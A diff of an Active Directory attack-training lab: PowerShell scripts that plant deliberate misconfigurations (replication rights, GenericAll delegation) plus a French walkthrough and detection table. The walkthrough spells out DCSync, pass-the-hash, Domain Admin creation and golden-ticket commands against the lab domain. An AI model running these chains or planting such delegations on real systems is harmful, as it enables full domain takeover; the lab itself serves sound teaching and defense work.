|
$sidText = $svcGroup.SID.Value
|
||||||
|
$nameText = '@@NETBIOS@@\Sauvegarde-AD'
|
||||||
|
|
||||||
|
# Idempotent: a re-run must not stack duplicate ACEs on the domain.
|
||||||
|
foreach ($ace in @($sd.Access)) {
|
||||||
|
if ($ace.IsInherited) { continue }
|
||||||
|
$trustee = $ace.IdentityReference.Value
|
||||||
|
if (($trustee -eq $sidText -or $trustee -eq $nameText) -and
|
||||||
|
($rightGuids -contains $ace.ObjectType.Guid.ToString())) {
|
||||||
|
[void]$sd.RemoveAccessRule($ace)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($rightGuid in $rightGuids) {
|
||||||
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
|
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
|
||||||
$svcGroup.SID,
|
$svcGroup.SID,
|
||||||
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
|
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
|
||||||
@@ -119,26 +136,26 @@ try {
|
|||||||
$domainAcl.CommitChanges()
|
$domainAcl.CommitChanges()
|
||||||
Write-LabLog 'dc01: Sauvegarde-AD granted replication rights'
|
Write-LabLog 'dc01: Sauvegarde-AD granted replication rights'
|
||||||
|
|
||||||
|
# Set-ADObject does not resolve a sAMAccountName reliably (it raises
|
||||||
|
# ADIdentityNotFoundException), so resolve the DN once and use it below.
|
||||||
|
$plainDn = (Get-ADUser 'm.legault').DistinguishedName
|
||||||
|
|
||||||
# m.legault must not carry a stale adminCount flag from an earlier design,
|
# m.legault must not carry a stale adminCount flag from an earlier design,
|
||||||
# or SDProp would keep treating the account as protected and wipe the ACE.
|
# or SDProp would keep treating the account as protected and wipe the ACE.
|
||||||
Set-ADObject -Identity 'm.legault' -Replace @{ adminCount = 0 } -ErrorAction SilentlyContinue
|
Set-ADObject -Identity $plainDn -Replace @{ adminCount = 0 } -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
# Realistic delegation: the service account manages a plain user who is a
|
# Realistic delegation: the service account manages a plain user who is a
|
||||||
# member of the server-admin group. m.legault is NOT in a protected group,
|
# member of the server-admin group. m.legault is NOT in a protected group,
|
||||||
# so SDProp leaves this ACE alone — unlike the Domain Admin target above.
|
# so SDProp leaves this ACE alone — unlike the Domain Admin target above.
|
||||||
$plainDn = (Get-ADUser 'm.legault').DistinguishedName
|
|
||||||
if (-not (dsacls.exe $plainDn | Select-String 'svc_backup')) {
|
if (-not (dsacls.exe $plainDn | Select-String 'svc_backup')) {
|
||||||
$null = dsacls.exe $plainDn /G '@@NETBIOS@@\svc_backup:GA'
|
$null = dsacls.exe $plainDn /G '@@NETBIOS@@\svc_backup:GA'
|
||||||
Write-LabLog 'dc01: GenericAll granted to svc_backup over m.legault'
|
Write-LabLog 'dc01: GenericAll granted to svc_backup over m.legault'
|
||||||
}
|
}
|
||||||
|
|
||||||
# m.legault reaches DC admin through the server group.
|
# Deliberately NOT added to BUILTIN\Administrators: a local admin on the
|
||||||
try {
|
# DC can read C$ and NTDS.dit, which is a shortcut around the whole ACL
|
||||||
Add-ADGroupMember -Identity 'S-1-5-32-544' -Members 'Serveurs-Admins' -ErrorAction Stop
|
# path. The lab's lesson is the delegated ACE plus the replication right,
|
||||||
Write-LabLog 'dc01: Serveurs-Admins added to BUILTIN\Administrators'
|
# not "the account happens to be a domain-controller admin".
|
||||||
} catch {
|
|
||||||
Write-LabLog 'dc01: Serveurs-Admins already in BUILTIN\Administrators'
|
|
||||||
}
|
|
||||||
|
|
||||||
# ------------------------------------------------------------ dns
|
# ------------------------------------------------------------ dns
|
||||||
try {
|
try {
|
||||||
@@ -148,6 +165,22 @@ try {
|
|||||||
Write-LabLog 'dc01: www A record already present'
|
Write-LabLog 'dc01: www A record already present'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# The domain name resolves to the DC. Forward HTTP to FS01 so the archived
|
||||||
|
# site also answers on http://norbourg.lab, not only http://www.norbourg.lab.
|
||||||
|
try {
|
||||||
|
$null = netsh.exe interface portproxy delete v4tov4 listenport=80 listenaddress='@@LAB_DC_IP@@' 2>$null
|
||||||
|
$null = netsh.exe interface portproxy add v4tov4 listenport=80 listenaddress='@@LAB_DC_IP@@' connectport=80 connectaddress='10.10.10.20'
|
||||||
|
Set-Service iphlpsvc -StartupType Automatic -ErrorAction SilentlyContinue
|
||||||
|
Start-Service iphlpsvc -ErrorAction SilentlyContinue
|
||||||
|
if (-not (Get-NetFirewallRule -DisplayName 'Norbourg HTTP forward' -ErrorAction SilentlyContinue)) {
|
||||||
|
New-NetFirewallRule -DisplayName 'Norbourg HTTP forward' -Direction Inbound `
|
||||||
|
-Protocol TCP -LocalPort 80 -Action Allow | Out-Null
|
||||||
|
}
|
||||||
|
Write-LabLog 'dc01: http://@@DOMAIN@@ forwarded to FS01'
|
||||||
|
} catch {
|
||||||
|
Write-LabLog "dc01: HTTP forward skipped ($($_.Exception.Message))"
|
||||||
|
}
|
||||||
|
|
||||||
# Easter egg: discoverable with nslookup -type=TXT yourlove.norbourg.lab
|
# Easter egg: discoverable with nslookup -type=TXT yourlove.norbourg.lab
|
||||||
try {
|
try {
|
||||||
Add-DnsServerResourceRecord -ZoneName '@@DOMAIN@@' -Name 'yourlove' -Txt `
|
Add-DnsServerResourceRecord -ZoneName '@@DOMAIN@@' -Name 'yourlove' -Txt `
|
||||||
@@ -157,10 +190,11 @@ try {
|
|||||||
Write-LabLog 'dc01: yourlove TXT record already present'
|
Write-LabLog 'dc01: yourlove TXT record already present'
|
||||||
}
|
}
|
||||||
|
|
||||||
# ------------------------------------------------------------ flag
|
# ------------------------------------------------------------ flags
|
||||||
# The server flag sits in the backup staging folder: the agent's group can
|
# root.txt is only readable by DC administrators. The replication right
|
||||||
# read it, so a plain account can prove it reached the DC.
|
# is read-only: reaching this file means turning it into a privileged
|
||||||
$flagDir = 'C:\Sauvegarde'
|
# identity (DCSync -> hash -> pass-the-hash, or a freshly created DA).
|
||||||
|
$flagDir = 'C:\flag'
|
||||||
New-Item -ItemType Directory -Force -Path $flagDir | Out-Null
|
New-Item -ItemType Directory -Force -Path $flagDir | Out-Null
|
||||||
$rootPath = Join-Path $flagDir 'root.txt'
|
$rootPath = Join-Path $flagDir 'root.txt'
|
||||||
if (-not (Test-Path $rootPath)) {
|
if (-not (Test-Path $rootPath)) {
|
||||||
@@ -168,19 +202,49 @@ try {
|
|||||||
}
|
}
|
||||||
$acl = Get-Acl $flagDir
|
$acl = Get-Acl $flagDir
|
||||||
$acl.SetAccessRuleProtection($true, $false)
|
$acl.SetAccessRuleProtection($true, $false)
|
||||||
|
foreach ($rule in @($acl.Access)) {
|
||||||
|
if (-not $rule.IsInherited) { [void]$acl.RemoveAccessRule($rule) }
|
||||||
|
}
|
||||||
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
|
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
|
||||||
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
||||||
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
||||||
}
|
}
|
||||||
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
|
||||||
'@@NETBIOS@@\Sauvegarde-AD', 'Read', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
|
||||||
Set-Acl -Path $flagDir -AclObject $acl
|
Set-Acl -Path $flagDir -AclObject $acl
|
||||||
|
# Re-inherit, otherwise a file left from an older layout keeps its ACL.
|
||||||
|
$null = icacls.exe $rootPath /reset
|
||||||
|
|
||||||
|
# The backup staging folder stays readable by Sauvegarde-AD (that is how
|
||||||
|
# the service works) but it no longer holds the flag.
|
||||||
|
$shareDir = 'C:\Sauvegarde'
|
||||||
|
New-Item -ItemType Directory -Force -Path $shareDir | Out-Null
|
||||||
|
Remove-Item -Force -ErrorAction SilentlyContinue (Join-Path $shareDir 'root.txt')
|
||||||
|
$note = Join-Path $shareDir 'LISEZ-MOI.txt'
|
||||||
|
if (-not (Test-Path $note)) {
|
||||||
|
Set-Content -Path $note -Encoding ascii -Value @'
|
||||||
|
Depot de sauvegarde
|
||||||
|
Le service lit ses cliches dans ce dossier (groupe Sauvegarde-AD).
|
||||||
|
Les secrets du domaine ne sont pas deposes ici.
|
||||||
|
'@
|
||||||
|
}
|
||||||
|
$shareAcl = Get-Acl $shareDir
|
||||||
|
$shareAcl.SetAccessRuleProtection($true, $false)
|
||||||
|
foreach ($rule in @($shareAcl.Access)) {
|
||||||
|
if (-not $rule.IsInherited) { [void]$shareAcl.RemoveAccessRule($rule) }
|
||||||
|
}
|
||||||
|
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
|
||||||
|
$shareAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
||||||
|
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
||||||
|
}
|
||||||
|
$shareAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
|
||||||
|
'@@NETBIOS@@\Sauvegarde-AD', 'Read', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
|
||||||
|
Set-Acl -Path $shareDir -AclObject $shareAcl
|
||||||
|
$null = icacls.exe $note /reset
|
||||||
|
|
||||||
if (-not (Get-SmbShare -Name 'Sauvegarde$' -ErrorAction SilentlyContinue)) {
|
if (-not (Get-SmbShare -Name 'Sauvegarde$' -ErrorAction SilentlyContinue)) {
|
||||||
New-SmbShare -Name 'Sauvegarde$' -Path $flagDir `
|
New-SmbShare -Name 'Sauvegarde$' -Path $shareDir `
|
||||||
-ReadAccess '@@NETBIOS@@\Sauvegarde-AD' | Out-Null
|
-ReadAccess '@@NETBIOS@@\Sauvegarde-AD' | Out-Null
|
||||||
}
|
}
|
||||||
Write-LabLog 'dc01: root.txt in the backup share'
|
Write-LabLog 'dc01: root.txt in C:\flag (administrators only); backup share kept'
|
||||||
|
|
||||||
# The GenericAll path ends in a password reset; the default one-day
|
# The GenericAll path ends in a password reset; the default one-day
|
||||||
# minimum password age blocks it, and it is a plausible weak setting.
|
# minimum password age blocks it, and it is a plausible weak setting.
|
||||||
@@ -240,4 +304,6 @@ try {
|
|||||||
Complete-Stage $self 'ok'
|
Complete-Stage $self 'ok'
|
||||||
} catch {
|
} catch {
|
||||||
Fail-Stage $self $_.Exception.Message
|
Fail-Stage $self $_.Exception.Message
|
||||||
|
} finally {
|
||||||
|
Exit-StageLock $self
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,10 @@
|
|||||||
. "$PSScriptRoot\..\lib\common.ps1"
|
. "$PSScriptRoot\..\lib\common.ps1"
|
||||||
|
|
||||||
$self = $PSCommandPath
|
$self = $PSCommandPath
|
||||||
|
if (-not (Enter-StageLock $self)) {
|
||||||
|
Write-LabLog 'stage already running on this guest; duplicate start ignored'
|
||||||
|
return
|
||||||
|
}
|
||||||
Write-LabLog 'dc01: stage 1 starting'
|
Write-LabLog 'dc01: stage 1 starting'
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -37,4 +41,6 @@ try {
|
|||||||
Restart-Computer -Force
|
Restart-Computer -Force
|
||||||
} catch {
|
} catch {
|
||||||
Fail-Stage $self $_.Exception.Message
|
Fail-Stage $self $_.Exception.Message
|
||||||
|
} finally {
|
||||||
|
Exit-StageLock $self
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,10 @@
|
|||||||
. "$PSScriptRoot\..\lib\common.ps1"
|
. "$PSScriptRoot\..\lib\common.ps1"
|
||||||
|
|
||||||
$self = $PSCommandPath
|
$self = $PSCommandPath
|
||||||
|
if (-not (Enter-StageLock $self)) {
|
||||||
|
Write-LabLog 'stage already running on this guest; duplicate start ignored'
|
||||||
|
return
|
||||||
|
}
|
||||||
Write-LabLog 'fs01: starting'
|
Write-LabLog 'fs01: starting'
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -29,14 +33,19 @@ try {
|
|||||||
# IIS ships no MIME mapping for .url; the archived "Your Love" shortcut
|
# IIS ships no MIME mapping for .url; the archived "Your Love" shortcut
|
||||||
# needs one or IIS answers 404.3.
|
# needs one or IIS answers 404.3.
|
||||||
Import-Module WebAdministration
|
Import-Module WebAdministration
|
||||||
|
# -Name '.' returns the staticContent element, not its entries, so the
|
||||||
|
# existence test always failed and a re-run died on a duplicate entry.
|
||||||
|
# The collection of mappings is -Name 'collection'.
|
||||||
$urlMime = Get-WebConfigurationProperty -PSPath 'MACHINE/WEBROOT/APPHOST' `
|
$urlMime = Get-WebConfigurationProperty -PSPath 'MACHINE/WEBROOT/APPHOST' `
|
||||||
-Filter 'system.webServer/staticContent' -Name '.' |
|
-Filter 'system.webServer/staticContent' -Name 'collection' |
|
||||||
Where-Object { $_.fileExtension -eq '.url' }
|
Where-Object { $_.fileExtension -eq '.url' }
|
||||||
if (-not $urlMime) {
|
if (-not $urlMime) {
|
||||||
Add-WebConfigurationProperty -PSPath 'MACHINE/WEBROOT/APPHOST' `
|
Add-WebConfigurationProperty -PSPath 'MACHINE/WEBROOT/APPHOST' `
|
||||||
-Filter 'system.webServer/staticContent' -Name '.' `
|
-Filter 'system.webServer/staticContent' -Name '.' `
|
||||||
-Value @{ fileExtension = '.url'; mimeType = 'application/internet-shortcut' }
|
-Value @{ fileExtension = '.url'; mimeType = 'application/internet-shortcut' }
|
||||||
Write-LabLog 'fs01: .url MIME mapping added'
|
Write-LabLog 'fs01: .url MIME mapping added'
|
||||||
|
} else {
|
||||||
|
Write-LabLog 'fs01: .url MIME mapping already present'
|
||||||
}
|
}
|
||||||
|
|
||||||
$root = 'C:\inetpub\wwwroot'
|
$root = 'C:\inetpub\wwwroot'
|
||||||
@@ -81,4 +90,6 @@ Ne pas supprimer.
|
|||||||
Restart-Computer -Force
|
Restart-Computer -Force
|
||||||
} catch {
|
} catch {
|
||||||
Fail-Stage $self $_.Exception.Message
|
Fail-Stage $self $_.Exception.Message
|
||||||
|
} finally {
|
||||||
|
Exit-StageLock $self
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,10 @@
|
|||||||
. "$PSScriptRoot\..\lib\common.ps1"
|
. "$PSScriptRoot\..\lib\common.ps1"
|
||||||
|
|
||||||
$self = $PSCommandPath
|
$self = $PSCommandPath
|
||||||
|
if (-not (Enter-StageLock $self)) {
|
||||||
|
Write-LabLog 'stage already running on this guest; duplicate start ignored'
|
||||||
|
return
|
||||||
|
}
|
||||||
Write-LabLog 'ws01: post stage starting'
|
Write-LabLog 'ws01: post stage starting'
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -36,4 +40,6 @@ try {
|
|||||||
Complete-Stage $self 'ok'
|
Complete-Stage $self 'ok'
|
||||||
} catch {
|
} catch {
|
||||||
Fail-Stage $self $_.Exception.Message
|
Fail-Stage $self $_.Exception.Message
|
||||||
|
} finally {
|
||||||
|
Exit-StageLock $self
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,10 @@
|
|||||||
. "$PSScriptRoot\..\lib\common.ps1"
|
. "$PSScriptRoot\..\lib\common.ps1"
|
||||||
|
|
||||||
$self = $PSCommandPath
|
$self = $PSCommandPath
|
||||||
|
if (-not (Enter-StageLock $self)) {
|
||||||
|
Write-LabLog 'stage already running on this guest; duplicate start ignored'
|
||||||
|
return
|
||||||
|
}
|
||||||
Write-LabLog 'ws01: starting'
|
Write-LabLog 'ws01: starting'
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -27,4 +31,6 @@ try {
|
|||||||
Restart-Computer -Force
|
Restart-Computer -Force
|
||||||
} catch {
|
} catch {
|
||||||
Fail-Stage $self $_.Exception.Message
|
Fail-Stage $self $_.Exception.Message
|
||||||
|
} finally {
|
||||||
|
Exit-StageLock $self
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ tableau n'existe pas.
|
|||||||
| Exécution à distance | WinRM | `5985` côté réseau, `4688` si l'audit des processus est actif | `powershell.exe` lancé par un compte inhabituel |
|
| Exécution à distance | WinRM | `5985` côté réseau, `4688` si l'audit des processus est actif | `powershell.exe` lancé par un compte inhabituel |
|
||||||
| Réinitialisation du mot de passe de `m.legault` | impacket / `bloodyAD` | `4724` | réinitialisation par un compte de service qui n'a aucune raison légitime de le faire |
|
| Réinitialisation du mot de passe de `m.legault` | impacket / `bloodyAD` | `4724` | réinitialisation par un compte de service qui n'a aucune raison légitime de le faire |
|
||||||
| Droit `GenericAll` sur `m.legault` | posé à la construction, pas par l'attaquant | `5136` seulement si quelqu'un ajoute un ACE | dans ce laboratoire il faut chercher **l'usage** du droit (`4724` sur la cible), pas sa création. Sur `t.smith`, objet protégé, SDProp supprime le même ACE chaque heure |
|
| Droit `GenericAll` sur `m.legault` | posé à la construction, pas par l'attaquant | `5136` seulement si quelqu'un ajoute un ACE | dans ce laboratoire il faut chercher **l'usage** du droit (`4724` sur la cible), pas sa création. Sur `t.smith`, objet protégé, SDProp supprime le même ACE chaque heure |
|
||||||
|
| Création d'un compte Domain Admin | `net user` + `net group` | `4720`, `4728` | un compte apparaît puis entre dans un groupe privilégié, depuis une session administrateur |
|
||||||
| DCSync | `secretsdump` | `4662` | opération sur l'annuaire avec les droits de réplication (`1131f6aa-…`, `1131f6ad-…`) |
|
| DCSync | `secretsdump` | `4662` | opération sur l'annuaire avec les droits de réplication (`1131f6aa-…`, `1131f6ad-…`) |
|
||||||
| Usage des droits de réplication | `m.legault` / `secretsdump` | `4662` | réplication demandée par un compte qui n'est pas un contrôleur de domaine |
|
| Usage des droits de réplication | `m.legault` / `secretsdump` | `4662` | réplication demandée par un compte qui n'est pas un contrôleur de domaine |
|
||||||
|
|
||||||
|
|||||||
+93
-20
@@ -63,19 +63,28 @@ les deux marchent. Toutes les commandes ci-dessous se lancent depuis Kali.
|
|||||||
nmap -sn 10.10.10.0/24
|
nmap -sn 10.10.10.0/24
|
||||||
nmap -sV -p- 10.10.10.10
|
nmap -sV -p- 10.10.10.10
|
||||||
nxc smb 10.10.10.0/24
|
nxc smb 10.10.10.0/24
|
||||||
curl -s http://10.10.10.20/ | head -20
|
curl -s http://norbourg.lab/ | head -20
|
||||||
curl -s http://10.10.10.20/public/
|
curl -s http://10.10.10.20/public/
|
||||||
```
|
```
|
||||||
|
|
||||||
### SMB et annuaire
|
### SMB et annuaire
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
# partages : SMB, sur la machine qui les héberge
|
||||||
nxc smb 10.10.10.20 -d norbourg.lab -u '<user>' -p '<pass>' --shares
|
nxc smb 10.10.10.20 -d norbourg.lab -u '<user>' -p '<pass>' --shares
|
||||||
nxc smb 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --users
|
|
||||||
nxc smb 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --groups
|
|
||||||
smbclient //10.10.10.20/Public -U 'NORBOURG\<user>%<pass>' -c 'ls; recurse ON; prompt OFF; mget *'
|
smbclient //10.10.10.20/Public -U 'NORBOURG\<user>%<pass>' -c 'ls; recurse ON; prompt OFF; mget *'
|
||||||
|
|
||||||
|
# annuaire : LDAP, sur le contrôleur de domaine
|
||||||
|
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --users
|
||||||
|
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --groups
|
||||||
|
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --pass-pol
|
||||||
```
|
```
|
||||||
|
|
||||||
|
`nxc smb <machine> --users` interroge le SAM **local** de cette machine : sur un serveur
|
||||||
|
membre il ne montre que les comptes locaux, souvent aucun. Sur le DC il fonctionne aussi
|
||||||
|
(SAMR), mais LDAP est la bonne habitude — c'est lui qui donne les attributs utiles (SPN,
|
||||||
|
pré-authentification, description).
|
||||||
|
|
||||||
### Kerberos
|
### Kerberos
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -114,41 +123,105 @@ smbclient //10.10.10.10/'<partage>$' -U 'NORBOURG\<user>%<pass>' -c 'ls; get <fi
|
|||||||
|
|
||||||
### Cartographie et permissions
|
### Cartographie et permissions
|
||||||
|
|
||||||
|
Trois questions, dans cet ordre : **quels droits ce compte a-t-il**, **sur quoi**, et
|
||||||
|
**comment les exercer**. Le collecteur et `bh_clues.py` répondent aux deux premières ;
|
||||||
|
`daclread` sert à confirmer une cible précise.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# collecteur BloodHound (JSON, pas besoin de l'interface)
|
# 1. collecter — les ACL ne sont incluses qu'avec -c all
|
||||||
bloodhound-python -d norbourg.lab -u '<user>' -p '<pass>' -ns 10.10.10.10 -c all
|
bloodhound-python -d norbourg.lab -u '<user>' -p '<pass>' -ns 10.10.10.10 -c all
|
||||||
|
|
||||||
# quels droits ce compte a-t-il sur une cible ? (module daclread de netexec)
|
# 2. lire le résultat sans interface : groupes, SPN, ACE, AdminTo
|
||||||
|
python3 /opt/norbourg/bh_clues.py '<user>'
|
||||||
|
|
||||||
|
# 3. confirmer une ACE sur une cible, en filtrant sur le compte qui la détient
|
||||||
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \
|
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \
|
||||||
-M daclread -o TARGET='<cible>' PRINCIPAL='<user>'
|
-M daclread -o TARGET='<cible>' PRINCIPAL='<user>'
|
||||||
|
|
||||||
# à quels groupes appartient un compte ?
|
# 4. d'où vient le droit ? les groupes de la cible (LDAP, pas SAMR)
|
||||||
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \
|
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \
|
||||||
--query '(sAMAccountName=<cible>)' memberOf
|
--query '(sAMAccountName=<cible>)' memberOf
|
||||||
|
|
||||||
# exercer un droit de modification, par exemple réinitialiser un mot de passe
|
# 5. exercer le droit : réinitialiser le mot de passe de la cible
|
||||||
impacket-changepasswd 'norbourg.lab/<cible>@10.10.10.10' -reset -newpass '<nouveau>' \
|
impacket-changepasswd 'norbourg.lab/<cible>@10.10.10.10' -reset -newpass '<nouveau>' \
|
||||||
-altuser '<user>' -altpass '<pass>'
|
-altuser '<user>' -altpass '<pass>'
|
||||||
```
|
```
|
||||||
|
|
||||||
`-c all` n'est pas décoratif : la collecte par défaut n'inclut pas les listes de permissions
|
Exemple avec le compte du point d'entrée — un cul-de-sac, et c'est une information :
|
||||||
(`Aces`), et on conclut à tort qu'il n'y a aucun chemin.
|
|
||||||
|
|
||||||
Dans `impacket-changepasswd`, le compte **ciblé** est celui de l'URL et le compte qui
|
|
||||||
**s'authentifie** est passé par `-altuser`, sans préfixe de domaine : l'outil se connecte avec
|
|
||||||
cette identité alternative pour modifier l'autre compte.
|
|
||||||
|
|
||||||
L'interface BloodHound n'est pas installée et n'est pas nécessaire : le collecteur produit des
|
|
||||||
fichiers JSON lisibles. Si `bloodyad` est présent, `bloodyad get writable` répond à la même
|
|
||||||
question en une commande.
|
|
||||||
|
|
||||||
### Preuve finale
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# réplication de l'annuaire depuis un compte qui en a le droit (DCSync)
|
python3 /opt/norbourg/bh_clues.py helpdesk1
|
||||||
|
# MemberOf TI-SUPPORT (TI-Support)
|
||||||
|
# (no exploitable edge — this account is a dead end)
|
||||||
|
```
|
||||||
|
|
||||||
|
Le même outil, lancé sur le compte de service obtenu par Kerberoasting, montre la suite.
|
||||||
|
Ce qu'il faut savoir lire :
|
||||||
|
|
||||||
|
- `GenericAll`, `GenericWrite`, `WriteDacl`, `WriteOwner`, `ForceChangePassword` : un droit
|
||||||
|
d'écriture sur l'objet visé, souvent de quoi en prendre le contrôle.
|
||||||
|
- `DCSync` : les deux droits de réplication (`GetChanges` + `GetChangesAll`) réunis — un accès
|
||||||
|
aux secrets du domaine, pas un droit d'administration classique.
|
||||||
|
- `AdminTo`, `PSRemote`, `CanRDP` : une porte d'entrée sur une machine.
|
||||||
|
- Une ACE **héritée** ne se lit pas comme une ACE posée sur l'objet : c'est pour cela que
|
||||||
|
`daclread` se consulte avec `PRINCIPAL`, qui filtre le bruit du conteneur.
|
||||||
|
|
||||||
|
`bh_clues.py` est fourni avec le laboratoire (`--help` pour l'aide) : il lit les JSON du
|
||||||
|
collecteur — aucun accès réseau. L'interface BloodHound n'est pas installée et n'est pas
|
||||||
|
nécessaire ; si `bloodyad` est présent, `bloodyad get writable` répond à la même question.
|
||||||
|
|
||||||
|
Dans `impacket-changepasswd`, le compte **ciblé** est celui de l'URL et le compte qui
|
||||||
|
**s'authentifie** est passé par `-altuser`, sans préfixe de domaine.
|
||||||
|
|
||||||
|
### Preuve finale — administrateur du DC, puis le drapeau
|
||||||
|
|
||||||
|
`root.txt` n'est pas sur le partage de sauvegarde : il est dans `C:\flag`, lisible seulement par
|
||||||
|
les administrateurs du DC — comme `user.txt` sur WS01. Le droit de réplication est **en lecture
|
||||||
|
seule** ; il faut en tirer une identité privilégiée.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. DCSync : le hash NTLM d'un administrateur
|
||||||
|
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user Administrator
|
||||||
|
|
||||||
|
# 2. pass-the-hash : s'authentifier sans connaître le mot de passe
|
||||||
|
evil-winrm -i 10.10.10.10 -u Administrator -H '<hash NTLM>'
|
||||||
|
|
||||||
|
# 3. se créer un compte Domain Admin
|
||||||
|
net user svc_maint 'P@ssw0rd!2026' /add /domain
|
||||||
|
net group "Domain Admins" svc_maint /add /domain
|
||||||
|
exit
|
||||||
|
|
||||||
|
# 4. se reconnecter avec ce compte et lire le drapeau
|
||||||
|
evil-winrm -i 10.10.10.10 -u svc_maint -p 'P@ssw0rd!2026'
|
||||||
|
type C:\flag\root.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 5. la preuve côté annuaire : les secrets du domaine
|
||||||
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user krbtgt
|
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user krbtgt
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Le hash de `krbtgt` suffit à forger des tickets pour n'importe quel compte : le domaine est
|
||||||
|
compromis. Le drapeau, lui, prouve que vous êtes allé jusqu'au système de fichiers du DC.
|
||||||
|
|
||||||
|
### Bonus — persistance sans compte : le golden ticket
|
||||||
|
|
||||||
|
Avec le hash de `krbtgt`, forger un TGT pour n'importe quel compte, y compris un faux Domain
|
||||||
|
Admin. Rien n'est créé dans l'annuaire, donc rien à nettoyer.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
impacket-ticketer -nthash '<hash krbtgt>' -domain-sid '<SID du domaine>' \
|
||||||
|
-domain norbourg.lab administrator
|
||||||
|
export KRB5CCNAME=administrator.ccache
|
||||||
|
impacket-psexec -k -no-pass norbourg.lab/[email protected]
|
||||||
|
```
|
||||||
|
|
||||||
|
Ce que la défense voit : **4720** et **4728** pour le compte créé à l'étape 3 ; presque rien pour
|
||||||
|
le golden ticket. C'est le sujet du volet défensif.
|
||||||
|
|
||||||
|
> Dans le laboratoire, ces modifications sont permises et disparaissent à la remise à zéro. En
|
||||||
|
> engagement réel, la persistance se demande **par écrit** avant d'être posée.
|
||||||
|
|
||||||
## Rappel terminal
|
## Rappel terminal
|
||||||
|
|
||||||
Si vous n'êtes pas à l'aise en ligne de commande :
|
Si vous n'êtes pas à l'aise en ligne de commande :
|
||||||
|
|||||||
@@ -62,6 +62,7 @@ site et le partage `Public`, `ws01` est joint au domaine avec `user.txt` en plac
|
|||||||
```bash
|
```bash
|
||||||
sudo mkdir -p /opt/norbourg/wordlists
|
sudo mkdir -p /opt/norbourg/wordlists
|
||||||
sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/
|
sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/
|
||||||
|
sudo cp /mnt/bh_clues.py /opt/norbourg/ && sudo chmod +x /opt/norbourg/bh_clues.py
|
||||||
```
|
```
|
||||||
|
|
||||||
Puis figez l'état : `cd platforms/qemu && ./lab.sh kali snapshot`. Sans cela, `kali reset`
|
Puis figez l'état : `cd platforms/qemu && ./lab.sh kali snapshot`. Sans cela, `kali reset`
|
||||||
@@ -169,7 +170,9 @@ de continuer si elle ne correspond pas à la machine.
|
|||||||
./lab.sh users alice bob carol # comptes Proxmox + URL de console
|
./lab.sh users alice bob carol # comptes Proxmox + URL de console
|
||||||
```
|
```
|
||||||
|
|
||||||
`reset` détruit la VM et la reclone depuis le gabarit : quelques secondes, pas de réinstallation.
|
`reset` détruit la VM et la reclone depuis le gabarit : une copie de disque (quelques dizaines de secondes), pas de réinstallation.
|
||||||
|
|
||||||
|
Espace disque : le gabarit et la VM de travail sont deux copies complètes. Prévoyez le double de l'espace utilisé par les trois disques, soit environ 60 Go pour le laboratoire seul.
|
||||||
|
|
||||||
`reset` ne touche pas aux Kali : `./lab.sh kali reset` les recrée séparément.
|
`reset` ne touche pas aux Kali : `./lab.sh kali reset` les recrée séparément.
|
||||||
|
|
||||||
@@ -211,6 +214,30 @@ Côté disque, l'image Kali occupe environ 22 Go une fois importée. Un clone li
|
